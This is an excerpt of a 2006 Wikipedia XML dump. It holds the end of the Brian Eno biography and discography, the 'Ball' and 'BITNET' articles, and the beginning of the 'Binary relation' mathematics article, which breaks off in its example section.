      <text xml:space="preserve">[[Image:Brianeno.jpg|thumb|right|340px|Brian Eno in 1977]]
'''Brian Peter George St. Jean le Baptiste de la Salle Eno''' (born [[15 May]] [[1948]] in [[Woodbridge, Suffolk]]) is a [[United Kingdom|British]] [[electronic music]]ian, [[music theory|music theorist]] and [[record producer]]. As a solo artist, he is probably best known as the father of [[ambient music]].

Eno first came to prominence as the [[Keyboard instrument|keyboard]] and [[synthesiser]] player and general sonic wizard of the 1970's [[Glam Rock|Glam Rock]] and [[Art rock|Art]] Rock band [[Roxy Music]] (see [[Timeline of trends in music (1970-1979)|1970s in music]]). After leaving the group, Eno recorded two highly idiosyncratic and original [[Rock (music)|rock]] albums, before turning to more abstract soundscapes on subsequent albums such as ''[[Another Green World]]'' (1975) and ''[[Music for Airports|Ambient 1/Music for Airports]]'' (1978). Since then, he has produced dozens of albums (many with similarly-minded collaborators such as [[Harold Budd]] and [[Robert Fripp]]) which have demonstrated his unique approach to music. He has also occasionally returned to the [[popular music|pop song]] format.

His production credits include some of the most respected albums by [[Talking Heads]] and [[U2]].

Contrary to popular belief, Brian Eno did not produce [[David Bowie]]'s popular [[Berlin Trilogy]] (''[[Low (album)|Low]]'', ''[[&quot;Heroes&quot;]]'', and ''[[Lodger (album)|Lodger]]'').  He performed and co-wrote tracks on all three albums, but they were produced by Bowie and [[Tony Visconti]]. He did, however, co-produce Bowie's 1995 ''[[1.OUTSIDE| 1. Outside]]''.

Eno has pursued several artistic ventures parallel to his music career, including visual [[art installation]]s, a regular [[newspaper column|column]] in the [[newspaper]] ''[[The Observer]]'' and, with artist [[Peter Schmidt]], [[Oblique Strategies]], a deck of cards recommending various artistic strategies.

==Education and early musical career==

Eno was educated at the [[Ipswich Art School]] and the [[Winchester School of Art]], graduating from the latter in 1969.  While at art school, he developed an interest in using [[tape recorder]]s as musical instruments, and he experimented with his first (sometimes [[improvisation|improvisational]]) bands.

===Roxy Music===

Eno started his professional musical career in [[London]], co-founding the highly-successful [[Glam Rock|glam]]/[[Art rock|art-rock]] band [[Roxy Music]], working with them from 1971 to 1973. As a self-professed &quot;non-musician&quot;, at the band's early live shows Eno was to be found not on stage, but behind the [[mixing console|mixing desk]], where his efforts went way beyond the usual balancing of the volume levels: he would process the instrument sounds through his [[VCS3]] synthesizer, tape recorders and other electronic devices, frequently singing backing vocals as well. Eno soon graduated to join the rest of Roxy on stage however, where his bizarre costumes contributed to a large part of the band's visual appeal. Public interest in Eno fuelled a rivalry between him and Roxy's leader, [[Bryan Ferry]], who sacked him from the band on completion of the tour for their second album, while expecting Eno to keep his share of the band's considerable debts.

===Solo work===

Eno embarked on a solo career almost immediately. Between [[1973]] and [[1977]] he created four influential solo albums of electronically inflected pop songs &amp;ndash; ''[[Here Come the Warm Jets]]'', ''[[Taking Tiger Mountain (By Strategy)]]'', ''[[Another Green World]]'' and ''[[Before and After Science]]''. ''Tiger Mountain'' contains the galloping &quot;Third Uncle&quot;, one of Eno's best-known songs.  Critic Dave Thompson writes that the song is &quot;a near punk attack of riffing guitars and clattering percussion, &quot;Third Uncle&quot; could, in other hands, be a [[Heavy metal music|heavy metal]] anthem, albeit one whose lyrical content would tongue-tie the most slavish [[air guitar]]ist.&quot;[http://www.allmusic.com/cg/amg.dll?p=amg&amp;sql=33:0l2zefuk5gf1]

During this period, he also toured with [[Phil Manzanera]] in the band [[801 (band)|801]], a &quot;supergroup&quot; that played more or less mutated selections from albums by Eno, Manzanera, and [[Quiet Sun (band)|Quiet Sun]], as well as covers of classic songs by [[The Beatles]] and [[The Kinks]]. 

He was a prominent member of the performance art-classical orchestra the [[Portsmouth Sinfonia]] - having started playing with them in 1972.  In 1973 he produced the orchestra's first album ''The Portsmouth Sinfonia Plays the Popular Classics'' (released in March 1974) and in 1974 he produced the live album ''Hallellujah! The Portsmouth Sinfonia Live At The Royal Albert Hall'' of their infamous May 1974 concert (released in October 1974.)  In addition to producing both albums, Eno perfomed in the orchestra on both recordings - playing the clarinet. Eno also deployed the orchestra's famously dissonant string section on his second solo album ''[[Taking Tiger Mountain (By Strategy)]]''.  The orchestra at this time included other musicians whose solo work he would subsequently release on his Obscure label including [[Gavin Bryars]] and [[Michael Nyman]].

Eno continued his career by producing a larger number of highly eclectic and increasingly [[ambient music|ambient]] [[electronic music|electronic]] and acoustic albums.  He is widely cited as coining the term &quot;ambient music,&quot; low-volume music designed to modify one's perception of a surrounding environment, producing his ''Ambient'' series (''[[Music for Airports]]'', ''[[The Plateaux of Mirror]]'', ''[[Day of Radiance]]'' and ''[[On Land]]''). Eno describes himself as a &quot;non-musician&quot; and coined the term &quot;treatments&quot; to describe his modification of the sound of musical instruments, and to separate his role from that of the traditional instrumentalist.  His skill at using &quot;The Studio as a Compositional Tool&quot; (the title of an essay by Eno) led in part to his career as a producer. His methods were recognized at the time (mid-70s) as unique, so much so that on [[Genesis (band)|Genesis]]'s ''[[The Lamb Lies Down on Broadway]]'', he is credited with &quot;Enossification.&quot;

Eno started the Obscure label in Britain in 1975 to release works by less-known composers. The first group of three releases included his own composition, ''[[Discreet Music]]'', and the now-famous ''The Sinking of the Titanic'' by [[Gavin Bryars]]. The second side of ''Discreet Music'' consisted of several versions of [[Pachelbel's canon]] to which various algorithmic transformations have been applied, rendering it almost unrecognizable. Side 1 consisted of a [[tape loop]] system for generating music from relative sparse input. These tapes had previously been used as backgrounds in some of his collaborations with [[Robert Fripp]] of [[King Crimson]], most notably ''[[No Pussyfooting]]''. This methodology (coined ''Frippertronics'') was later used by Robert Fripp, among other artists, on future albums. Only ten Obscure albums were released, including works by John Adams, [[Michael Nyman]], and [[John Cage]]. At this time he was also affiliating with artists in the [[Fluxus|Fluxus movement]]. 

In 1979/80 he collaborated with [[David Byrne (musician)|David Byrne]], of [[Talking Heads]], on [[My Life in the Bush of Ghosts (album)|''My Life in the Bush of Ghosts'']], which was built around [[sampling (music)|sampling]] recordings and radio broadcasts from around the world. Eno collaborated with [[David Bowie]] as a writer and musician on Bowie's influential &quot;Berlin trilogy&quot; of albums, ''[[Low (album)|Low]], [[&quot;Heroes&quot;]]'' and ''[[Lodger (album)|Lodger]]'', on Bowie's later album ''[[1.OUTSIDE|1. Outside]]'', and on the song &quot;I'm Afraid of Americans&quot;.  Eno has also collaborated with [[John Cale]], former member of [[Velvet Underground]], on his trilogy ''[[Fear (John Cale album)|Fear]]'', ''[[Slow Dazzle]]'' and ''[[Helen of Troy]]'', [[Robert Wyatt]] on his ''Shleep'' CD, with [[Jon Hassell]],  with the German duo [[Cluster (band)|Cluster]], with composer [[Harold Budd]] and others. In 1992, Eno released his take on 'club electronica' titled ''[[Nerve Net]]''.

In 2004, [[Robert Fripp|Fripp]] and Eno recorded another [[Ambient music|ambient]] collaboration album: ''[[The Equatorial Stars]]''.

Eno returned in June of 2005 with ''[[Another Day on Earth]]'', his first major album since ''[[Wrong Way Up]]'' (with [[John Cale]]) to prominently feature vocals. The album is different from his 70's solo work, as musical production has changed since then, as is evident in its semi-electronic production.

==Producing records and other projects==

From the very beginning of his solo career in 1973, Eno has been much in demand as a [[record producer|producer]].  His lengthly string of producer credits includes albums for [[Talking Heads]], [[U2]], [[Devo]], [[Ultravox]] and [[James (band)|James]]. He also produced part of the 1993 album ''[[When I Was a Boy]]'' by [[Jane Siberry]]. This album is widely regarded as a masterpiece and is, in the opinion of many, Siberry's finest hour. He won the best producer award at the [[1994]] and [[1996]] [[Brit Awards|BRIT awards]]. 

Despite being a self-professed &quot;non-musician&quot;, Eno has contributed to recordings by a huge number of artists as varied as [[Nico]], [[Robert Calvert]], [[Genesis (band)|Genesis]], [[Edikanfo]], and [[Zvuki Mu]], in various capacities such as use of his studio/synthesizer/electronic treatments, vocals, guitar, bass guitar, and even just as being 'Eno'.  In 1984, he composed and performed the &quot;Prophecy Theme&quot; for the [[David Lynch]] film ''[[Dune (film)|Dune]]'', the rest of the film's score performed by the group [[Toto (band)|Toto]]. Eno produced and performance art singer [[Laurie Anderson]]'s [[Bright Red]] and also composed there. The work is avant-guarde spoken word with haunting and magnifying sounds. Eno played on David Byrne's musical score for ''[[The Catherine Wheel]]'', a project commissioned by [[Twyla Tharp]] to accompany her Broadway dance project of the same name.
  
He collaborated on the development of [http://www.sseyo.com SSEYO]'s [http://www.sseyo.com/products/koanpro/ Koan] [[generative music]] system, which he used to create his hybrid album ''[http://www.sseyo.com/products/koancontent/genmus1.html Generative Music 1]''.


Brian Eno 1996:
&lt;blockquote&gt;&quot;Some very basic forms of generative music have existed for a long time, but as marginal curiosities. Wind chimes are an example, but the only compositional control you have over the music they produce is in the original choice of notes that the chimes will sound. Recently, however, out of the union of synthesisers and computers, some much finer tools have evolved. Koan Software is probably the best of these systems, allowing a composer to control not one but one hundred and fifty musical and sonic parameters within which the computer then improvises (as wind improvises the wind chimes).&lt;/blockquote&gt;

&lt;blockquote&gt;The works I have made with this system symbolise to me the beginning of a new era of music. Until 100 years ago, every musical event was unique: music was ephemeral and unrepeatable and even classical scoring couldn't guarantee precise duplication. Then came the gramophone record, which captured particular performances and made it possible to hear them identically over and over again.&lt;/blockquote&gt;

&lt;blockquote&gt;But now there are three alternatives: live music, recorded music and generative music. Generative music enjoys some of the benefits of both its ancestors. Like live music it is always different. Like recorded music it is free of time-and-place limitations - you can hear it when and where you want.&lt;/blockquote&gt;

&lt;blockquote&gt;I really think it is possible that our grandchildren will look at us in wonder and say: &quot;you mean you used to listen to exactly the same thing over and over again?&quot;&lt;/blockquote&gt;

CSJ Bofop 1996:
&lt;blockquote&gt;&quot;Each of the twelve pieces on Generative Music 1 has a distinctive character. There are, of course, the ambient works ranging from the dark, almost mournful Densities III (complete with distant bells), to translucent Lysis (Tungsten). These are contrasted with pieces in dramatically different styles, such as Komarek with its hard edged, angular melodies, reminiscent of Schoenberg's early serial experiments, and Klee 42 whose simple polyphony is similar to that of the early Renaissance. But of course, the great beauty of Generative Music is that those pieces will never sound quite that way again.&quot; &lt;/blockquote&gt;


Eno has also been active in other artistic genres, producing videos for gallery display and collaborating with visual artists in other endeavors. One is the set of &quot;[[Oblique Strategies]]&quot; cards that he produced in the mid-70s, which was described as &quot;100 Worthwhile Dilemmas&quot; and intended as guides to shaking up the mind in the process of producing artistic endeavors. Another was his collaboration with artist [[Russell Mills (artist)|Russell Mills]] on the book ''More Dark Than Shark''. He was also the provider of music for [[Robert Sheckley]]'s ''In the Land of Clear Colours,'' a narrated story with music originally published by a small art gallery in Spain.

In 1996 Brian Eno, and others, started the [[Long Now Foundation]] to educate the public into thinking about the very long term future of society.

Eno is a columnist for the [[United Kingdom|British]] newspaper, ''[[The Observer]]''.

In 1994 Eno was approached by Mark Malamud and [[Erik Gavriluk]], senior designers at [[Microsoft]] on the [[Cairo (operating system)|Cairo]] project.  The result was the start-up sound for the [[Windows 95]] operating system (which Eno created on his [[Apple Macintosh]]). From an interview with the [[San Francisco Chronicle]]:

&lt;blockquote&gt;The idea came up at the time when I was completely bereft of ideas. I'd been working  on my own music for a while and was quite lost, actually. And I really appreciated someone coming along and saying, &quot;Here's a specific problem &amp;ndash; solve it.&quot; The thing from the agency said, &quot;We want a piece of music that is inspiring, universal,  blah-blah, da-da-da, optimistic, futuristic, sentimental, emotional,&quot; this whole list  of adjectives, and then at the bottom it said &quot;and it must be 3 1/4 seconds long.&quot; I thought this was so funny and an amazing thought to actually try to make a little  piece of music. It's like making a tiny little jewel. In fact, I made 84 pieces. I got completely into this world of tiny, tiny little pieces  of music. I was so sensitive to microseconds at the end of this that it really broke  a logjam in my own work. Then when I'd finished that and I went back to working with  pieces that were like three minutes long, it seemed like oceans of time.&lt;/blockquote&gt;

In 2003 he appeared on a Channel 4 discussion on the Iraq war with top military spokesmen. He was highly critical of the war. In 2005 he spoke at an anti-war demonstration in Hyde Park, London.

==Discography==

* (1972) ''[[Roxy Music (album)|Roxy Music]]'' (by [[Roxy Music]])
* (1973) ''[[For Your Pleasure]]'' (by [[Roxy Music]])
* (1973) ''[[The Portsmouth Sinfonia Plays the Popular Classics]]'' (with the [[Portsmouth Sinfonia]])
* (1973) ''[[No Pussyfooting|Fripp &amp; Eno (No Pussyfooting)]]'' (with [[Robert Fripp]])
* (1973) ''[[Here Come the Warm Jets]]''
* (1974) ''[[Taking Tiger Mountain (By Strategy)]]''
* (1974) ''[[June 1, 1974: Kevin Ayers, John Cale, Brian Eno, Nico]]'' (live)
* (1974) ''[[Hallelujah! The Portsmouth Sinfonia Live At The Royal Albert Hall]]'' (with the [[Portsmouth Sinfonia]]) (live)
* (1975) ''[[Evening Star (album)|Evening Star]]'' (with [[Robert Fripp]])
* (1975) ''[[Another Green World]]''
* (1975) ''[[Discreet Music]]''
* (1977) ''[[Cluster &amp; Eno]]'' (with [[Cluster (band)|Cluster]])
* (1977) ''[[801 (band)|801 Live]]'' ([[Phil Manzanera]] with Eno, Lloyd Watson, [[Francis Monkman]], [[Bill MacCormick]], and [[Simon Phillips]])
* (1978) ''[[Before and After Science]]''
* (1978) ''[[Music for Films]]''
* (1978) ''[[After the Heat]]'' (with [[Hans-Joachim Roedelius|Roedelius]] and [[Dieter Moebius|Moebius]])
* (1978) ''Ambient #1 / [[Music for Airports]]''
* (1980) ''Ambient #2 / [[The Plateaux of Mirror]]'' (with [[Harold Budd]])
* (1980) ''Fourth World, Vol. 1: [[Possible Musics]]'' (with [[Jon Hassell]])
* (1980) ''Ambient #3 / [[Day of Radiance]]'' (by [[Laraaji]], produced by Eno)
* (1981) [[My Life in the Bush of Ghosts (album)|''My Life in the Bush of Ghosts'']] (with [[David Byrne (musician)|David Byrne]])
* (1981) ''[[Empty Landscapes]]''
* (1982) ''Ambient #4 / [[On Land]]''
* (1983) ''[[Apollo: Atmospheres and Soundtracks]]''
* (1983) ''[[Music for Films, Volume 2]]'' (with [[Lanois]])
* (1984) ''[[The Pearl (album)|The Pearl]]'' (with [[Harold Budd]])
* (1984) ''[[Begegnungen]]'' (compilation album with material by Eno, [[Hans-Joachim Roedelius|Roedelius]] and [[Dieter Moebius|Moebius]] and [[Conny Plank|Plank]])
* (1985) ''[[Begegnungen II]]'' (compilation album with material by Eno, [[Hans-Joachim Roedelius|Roedelius]] and [[Dieter Moebius|Moebius]] and [[Conny Plank|Plank]])
* (1985) ''[[Thursday Afternoon]]''
* (1985) ''[[Hybrid (album)|Hybrid]]'' (with [[Daniel Lanois]] and [[Michael Brook]])
* (1988) ''[[Music for Films, Volume 3]]''
* (1989) ''[[Textures (album)|Textures]]''
* (1990) ''[[The Shutov Assembly]]''
* (1990) ''[[Wrong Way Up]]'' (with [[John Cale]])
* (1992) ''[[Nerve Net]]''
* (1993) ''[[Robert Sheckley's In a Land of Clear Colours]]'' (with [[Pete Sinfield]])
* (1993) ''[[Neroli (album)|Neroli]]''
* (1994) ''[[Headcandy]]'' ([[CD-ROM]])
* (1995) ''[[Spinner (album)|Spinner]]'' (with [[Jah Wobble]])
* (1995) ''[[Original Soundtracks No. 1]]'' (with [[U2]])
* (1996) ''[[Generative Music 1]]'' [http://www.sseyo.com/products/koancontent/genmus1.html]
* (1997) ''[[The Drop]]''
* (1997) ''[[Harmonia: '76: Tracks and Traces]]''  (with [[Hans-Joachim Roedelius|Roedelius]])
* (1997) ''[[Extracts from Music for White Cube]]''
* (1998) ''[[Lightness: Music for the Marble Palace]]''
* (1999) ''[[I Dormienti]]''
* (1999) ''[[Kite Stories]]''
* (2000) ''[[Music for Civic Recovery Centre]]''
* (2000) ''[[Music for Onmyo-Ji]]'' (with [[Peter Schwalm]])
* (2001) ''[[Drawn From Life]]'' (with [[Peter Schwalm]])
* (2003) ''[[Compact Forest Proposal]]''
* (2003) ''[[January 07003]] | Bell Studies for The Clock of The Long Now''
* (2004) ''[[Curiosities Volume 1]]''
* (2004) ''[[Curiosities Volume 2]]''
* (2004) ''[[The Equatorial Stars]]'' (with [[Robert Fripp]])
* (2005) ''[[Another Day on Earth]]''
* (2005) ''[[More Music from Films]]''

==Singles==

{| class=&quot;wikitable&quot;
|rowspan=&quot;2&quot;|'''Year'''
|rowspan=&quot;2&quot;| '''Title'''
|colspan=&quot;4&quot;| '''Chart positions'''
|rowspan=&quot;2&quot;| '''Album'''
|-

|US [[Billboard Hot 100|Hot 100]]
|US [[Modern Rock Tracks chart|Modern Rock]]
|US [[Mainstream Rock Tracks chart|Mainstream Rock]]
|[[UK Singles Chart|UK]]
|- 
| 1990
| &quot;Been There, Done That&quot; (with [[John Cale]])
| -
| #11
| -
| -
| ''Wrong Way Up''
|}

==Trivia==
*Brian Eno was the inspiration for the character Brent Mini in the 1981 [[Philip K Dick]] novel ''Valis''. The science-fiction writer, who usually preferred classical music, was an aficionado of Eno's ''Discreet Music'' album.
*The character of [[I-No]] (pronounced the same as &quot;Eno&quot;), in the videogame series [[Guilty Gear]] is most likely a reference to Brian Eno.  This is one of dozens of music references in the series.
*The [[Windows 95]] startup sound (not the faster melody in later versions) was composed by Brian Eno.
*He once guest appeared as Father Brian Eno on the television [[sitcom]] [[Father Ted]].
*He reportedly has a passion for [[word games]]. A song on his album ''Before and After Science'' is entitled &quot;King's Lead Hat&quot;, which is an [[anagram]] of &quot;[[Talking Heads]]&quot;, a band that he has worked with. (His own name, &quot;Brian Eno&quot;, has an anagram of &quot;One Brain&quot;.)
*The song &quot;Lay My Love&quot; with [[John Cale]] was on the soundtrack [[More Music From Northern Exposure]] released in 1994.

==See also==
* [[Category:Brian Eno albums|*Eno]]
* [[Ambient music]]
* [[Electronic music]]
* [[Oblique Strategies]]

==References==
* Bracewell, Michael ''Roxy Music: Bryan Ferry, Brian Eno, Art, Ideas, and Fashion'' (Da Capo Press, 2005) ISBN 0306814005
* Tamm, Eric ''Brian Eno: His Music and the Vertical Color of Sound'' (Da Capo Press, 1995) ISBN 0306806495
* Eno, Brian &quot;A Year with Swollen Appendices: The Diary of Brian Eno&quot; (Faber &amp; Faber, 1996) ISBN 0571179959

==External links==
{{wikiquote}}
*[http://www.enoshop.co.uk/ EnoShop] &amp;ndash; Brian Eno Recordings and Products Online
*[http://www.allsaintsrecords.com/ All Saints Records] &amp;ndash; All Saints Records
*[http://www.enoweb.co.uk/ EnoWeb] &amp;ndash; unofficial fan site
*[http://listen.to/brianeno More Dark Than Shark] unofficial fan site
*[http://www.synthtopia.com/artists/BrianEno.html Brian Eno] profile with discography and reviews of his work. 
*[http://www.wired.com/wired/archive/7.01/eno.html The Revenge of the Intuitive] &amp;ndash; Essay by Brian Eno
*[http://www.allmusic.com/cg/amg.dll?p=amg&amp;uid=SEARCH&amp;sql=Bjg8gtq8ztu48 Allmusic.com entry]
*{{imdb name|id=0006061|name=Brian Eno}}
*[http://www.bbc.co.uk/music/profiles/enobrian.shtml BBC Music &amp;ndash; ''Brian Eno'']
*[http://launch.yahoo.com/ar-314165---Brian-Eno Yahoo! Music &amp;ndash; ''Brian Eno'']
*[http://search.looksmart.com/p/browse/us1/us317828/us317855/us270530/us1174256/us1174515/us314629/ LookSmart &amp;ndash; ''Brian Eno''] directory category
*[http://dmoz.org/Arts/Music/Bands_and_Artists/E/Eno,_Brian/ Open Directory Project &amp;ndash; ''Brian Eno''] directory category
*[http://www.bl3nder.com/music/rhapsody/playlists/BrianEno_on_rhapsody.rpl Brian Eno on Rhapsody]
*[http://www.sfgate.com/cgi-bin/article.cgi?file=/chronicle/archive/1996/06/02/PK70006.DTL San Francisco Chronicle] Q and A With Brian Eno, June 2, 1996.
{{Roxy Music}}

[[Category:1948 births|Eno, Brian]]
[[Category:Living people|Eno, Brian]]
[[Category:Brian Eno|Eno, Brian]]
[[Category:Ambient musicians|Eno, Brian]]
[[Category:Electronic musicians|Eno, Brian]]
[[Category:Electronic music pioneers|Eno, Brian]]
[[Category:New Age musicians|Eno, Brian]]
[[Category:U2|Eno, Brian]]
[[Category:British musicians|Eno, Brian]]
[[Category:British record producers|Eno, Brian]]
[[Category:Natives of Suffolk|Eno, Brian]]

[[ca:Brian Eno]]
[[de:Brian Eno]]
[[es:Brian Eno]]
[[fi:Brian Eno]]
[[fr:Brian Eno]]
[[it:Brian Eno]]
[[ja:ブライアン・イーノ]]
[[nl:Brian Eno]]
[[no:Brian Eno]]
[[pl:Brian Eno]]
[[pt:Brian Eno]]
[[ru:Ино, Браян]]
[[sv:Brian Eno]]</text>
    </revision>
  </page>
  <page>
    <title>Ball</title>
    <id>3928</id>
    <revision>
      <id>41808098</id>
      <timestamp>2006-03-01T22:03:33Z</timestamp>
      <contributor>
        <ip>71.225.105.202</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
A '''ball''' is a round or [[spherical]] object that is used most often in [[sport]]s and [[game]]s. In most games using balls, the [[play]] of the game follows the state of the ball as it is hit, [[kick]]ed, or [[throw]]n by players. Balls are often used in [[ball dropping]] functions such as in the famous [[Times Square]] [[New Year's Eve]] ceremony.

Balls were used in ancient times by the early [[Egypt]]ians, the [[ancient Greeks]] and [[Ancient Rome|Romans]], and the [[Aztec]]s and earlier [[Mesoamerica]]n peoples.

==Popular ball games==

There are many popular games or sports involving some type of ball or similar object. These games can be grouped by the general objective of the game, sometimes indicating a common origin either of a game itself or of its basic idea:
*Bat-and-ball games, such as cricket and baseball.
*Trillion-goal games, such as basketball and most forms of football and hockey.
*Volleying games, such as volleyball and tennis.
*&quot;Target&quot; games, such as bowling
*and so on

Popular ball games around the world include:
*[[Baseball]]
*[[Basketball]]
*[[Billiards]] (including [[snooker]], [[eight ball]] and pool variations)
*[[Blitzball]] (fictional game)
*[[Bocce]]
*[[Boules]]
*[[Bowling]]
*[[Bowls]]
*[[Calvinball]] (see [[Calvin and Hobbes]])
*[[Canoe polo]]
*[[Cricket]] (see [[cricket ball]])
*[[Crockey]]
*[[Croquet]]
*[[Dodgeball]]
*[[Floorball]]
*[[Football]]:
**[[American football]]
**[[Australian rules football]]
**[[Gaelic Football]]
**[[International Rules Football]]
**[[Football (soccer)|Soccer]]
**[[Rugby Football]]
*[[Footbag]]
*[[Four square]]
*[[Golf]] (see [[golf ball]])
*[[Handball (disambiguation)|Handball]]:
**[[American handball]]
**[[Team handball]]
*Hockey:
**[[Field hockey]]
**[[Ice hockey]]
**[[Rink hockey]]
*[[Hurling]]
*[[Jai alai]]
*[[Juggling]]
*[[Korfball]]
*[[Lacrosse]]
*[[Mesoamerican ballgame]]
*[[Native American Stickball (Toli)]]
*[[Netball]]
*[[Pétanque]]
*[[Polo]]
*[[Shinty]]
*[[Skeet ball]]
*[[Squash (sport)|Squash]]
*[[Stickball]]
*[[Tee Ball]] 
*[[Tetherball]]
*[[Tennis]] (see [[tennis ball]])
*[[Tennis Polo/Soccer]]
*[[Ulama game]]
*[[Volleyball]]
*[[Water polo]]



[[Category:Sporting goods]]
[[Category:Ball games]]

[[cs:Míč]]
[[de:Ball_%28Sportger%C3%A4t%29]]
[[el:&amp;#924;&amp;#960;&amp;#940;&amp;#955;&amp;#945;]]
[[eo:Pilko]]
[[es:pelota]]
[[fa:توپ]]
[[he:&amp;#1499;&amp;#1491;&amp;#1493;&amp;#1512; (&amp;#1502;&amp;#1513;&amp;#1495;&amp;#1511;)]]
[[ja:&amp;#12508;&amp;#12540;&amp;#12523;]]
[[nl:Bal (voorwerp)]]
[[pl:pi&amp;#322;ka]]
[[pt:Bola]]
[[ru:Мяч]]
[[sv:boll]]
[[simple:Ball]]</text>
    </revision>
  </page>
  <page>
    <title>BITNET</title>
    <id>3929</id>
    <revision>
      <id>40125157</id>
      <timestamp>2006-02-18T08:44:47Z</timestamp>
      <contributor>
        <username>Lightdarkness</username>
        <id>130135</id>
      </contributor>
      <minor />
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">'''BITNET''' was a cooperative U.S. university network founded in 1981 under the aegis of Ira Fuchs at the [[City University of New York]] (CUNY) and Greydon Freeman at [[Yale University]]. The first network link was between CUNY and Yale. 

The requirements for a college or university to join BITNET were simple: 
* Lease a data circuit (phone line) from your site to an existing BITNET node.
* Buy  modems for each end of the data circuit, sending one to the connecting point site.
* Allow other institutions to connect to your site.

From a technical point of view, BITNET differed from the [[Internet]] in that it was a point-to-point &quot;[[store and forward]]&quot; network.  That is, e-mail messages and files were transmitted in their entirety from one server to the next until reaching their destination. From this perspective, BITNET was more like [[Usenet]].

BITNET came to mean &quot;Because It's Time Network&quot;, although the original meaning was &quot;Because It's There Network&quot;. 

Bitnet's [[network protocol]]s were used for a huge [[IBM]] internal network, which was larger than other networks such as [[ARPANET|ARPAnet]] for quite a while. BITNET links originally ran at 9600 [[baud]]. The BITNET [[Protocol (computing)|protocol]]s were eventually ported to non IBM mainframe [[operating system]]s.

At its zenith around 1991, BITNET extended to almost 500 organizations and 3,000 nodes, all educational institutions. With the advent of [[Internet protocol suite|TCP/IP]] systems and the [[Internet]] in the early 1990s, BITNET's popularity and use diminished quickly.

BITNET featured [[e-mail]] and the [[Listserv]] software, but predated the [[World Wide Web]], [[File Transfer Protocol|FTP]] and [[Gopher protocol|Gopher]]. It also supported interactive sending of files and messages to other users. [[Bitnet Relay Chat|BITNET Relay Chat]] was created with the networks messaging feature. BITNET's first electronic magazine, VM/COM, began as a [[University of Maine]] newsletter and surfaced broadly in early 1984. Nine years later, a University of Maine student would also publish the first WWW magazine.

==See also==
* [[History of the Internet]]

==External links==
* [http://csdl.computer.org/comp/mags/an/2000/02/a2032abs.htm A Social History of Bitnet and Listserv, 1985&amp;#8211;1991] 
* [http://livinginternet.com/u/ui_bitnet.htm Living Internet - BITNET]
* [http://nethistory.dumbentia.com NetHistory - Archive of BITNET newsletters and stories]


[[Category:Telecommunications history]]

[[de:Because It's Time NETwork]]
[[fr:Bitnet]]
[[pl:BITNET]]
[[ru:BITNET]]</text>
    </revision>
  </page>
  <page>
    <title>Binary relation</title>
    <id>3931</id>
    <revision>
      <id>41797165</id>
      <timestamp>2006-03-01T20:40:38Z</timestamp>
      <contributor>
        <username>Dbtfz</username>
        <id>762819</id>
      </contributor>
      <minor />
      <comment>/* Relations over a set */ extendable relations AKA &quot;serial&quot;</comment>
      <text xml:space="preserve">In [[mathematics]], a '''binary relation''' (or a '''dyadic relation''') is an arbitrary association of elements of one [[set (mathematics)|set]] with elements of another (perhaps the same) set.

An example is the &quot;divides&quot; relation between the set of [[prime number]]s '''P''' and the set of [[integer]]s '''Z''', in which every prime ''p'' is associated to every integer ''z'' that is a [[divisibility|multiple]] of ''p''.  In this relation, for instance, the prime 2 is associated to -4, 0, 6, 10, but not with 1 or 9; and the prime 3 is associated with 0, 6, and 9, but not with 4 or 13.

Binary relations are used in many branches of mathematics to model concepts like &quot;is greater than&quot;, &quot;is equal to&quot;, and &quot;divides&quot; in [[arithmetic]], &quot;is congruent to&quot; in [[geometry]], &quot;is adjacent to&quot; in [[graph theory]], and many more.  The all-important concept of [[function (mathematics)|function]] is defined as a special case of binary relation. Binary relations are also heavily used in computer science, especially within the [[relational model]] for [[database]]s.

A binary relation is a special case of a [[relation (mathematics)|''k''-ary relation]], that is, a set of ''k''-tuples where the ''j''&lt;sup&gt;th&lt;/sup&gt; component of each ''k''-tuple is taken from the ''j''&lt;sup&gt;th&lt;/sup&gt; domain ''X''&lt;sub&gt;''j''&lt;/sub&gt; of the relation. 

In some systems of [[axiomatic set theory]], relations are extended to [[class (mathematics)|classes]], which are generalizations of sets.  This extension is needed for, among other things, modeling the concepts of &quot;is an element of&quot; or &quot;is a subset of&quot; in [[set theory]], without running into logical inconsistencies such as [[Russell's paradox]].

== Formal definition ==
A binary relation ''R'' is usually defined as an ordered triple (''X'', ''Y'', ''G'') where ''X'' and ''Y'' are arbitrary sets (or classes), and ''G'' is a [[subset]] of the [[Cartesian product]] ''X'' &amp;times; ''Y''.  The sets ''X'' and ''Y'' are called the '''[[domain (mathematics)|domain]]''' and '''[[codomain]]''', respectively, of the relation, and ''G'' is called its '''graph'''.

The statement (''x'',''y'') &amp;isin; ''G'' is read &quot;''x'' '''is''' ''R'''''-related to''' ''y''&quot;, and is denoted by ''xRy'' or ''R''(''x'',''y'').  The latter notation corresponds to viewing ''R'' as the [[characteristic function]] of the set of pairs ''G''.

The order of the elements in each pair of ''G'' is important:  if ''a'' &amp;ne; ''b'', then ''a R b'' and ''b R a'' can be true or false, independently of each other.

===Is a relation more than its graph?===
According to the definition above, two relations with the same graph may be different, if they differ in the sets ''X'' and ''Y''.  For example, if ''G'' = {(1,2),(1,3),(2,7)}, then ('''Z''','''Z''', ''G''), ('''R''', '''N''', ''G''), and ('''N''', '''R''', ''G'') are three distinct relations. 

Some mathematicians do not consider the sets ''X'' and ''Y'' to be part of the relation, and therefore define a binary relation as being a subset of ''X''&amp;times;''Y'', i.e. just the graph ''G''.  According to this view, the set of pairs {(1,2),(1,3),(2,7)} is a relation from any set that contains {1,2} to any set that contains {2,3,7}.

Either approach is adequate for most uses, provided that one attends to the necessary changes in language, notation, and the definitions of concepts like [[restriction (mathematics)|restriction]]s, [[composition of relations|composition]], [[inverse relation]], and so on.  The choice between the two definitions usually matters only in very formal contexts, like [[category theory]].

=== Example ===
&lt;!--WE MUST GET A GOOD PICTURE AND DROP THIS EXAMPLE--&gt;
Example: Suppose there are four objects: {ball, car, doll, gun} and four persons: {John, Mary, So, Venus}.  Suppose that John owns the ball, Mary owns the doll, and Venus owns the car.  No one owns the gun and So owns nothing. Then the binary relation &quot;is owned by&quot; is given as
: ''R''=({ball, car, doll, gun}, {John, Mary, So, Venus}, {(ball, John), (doll, Mary), (car, Venus)}).

Thus the first element of R is the set of objects, the second is the set of people, and the last element is a set of ordered pairs of the form ( object, owner ).

The pair (ball, John), denoted by &lt;sub&gt;ball&lt;/sub&gt;''R''&lt;sub&gt;John&lt;/sub&gt; means that the ball is owned by John.

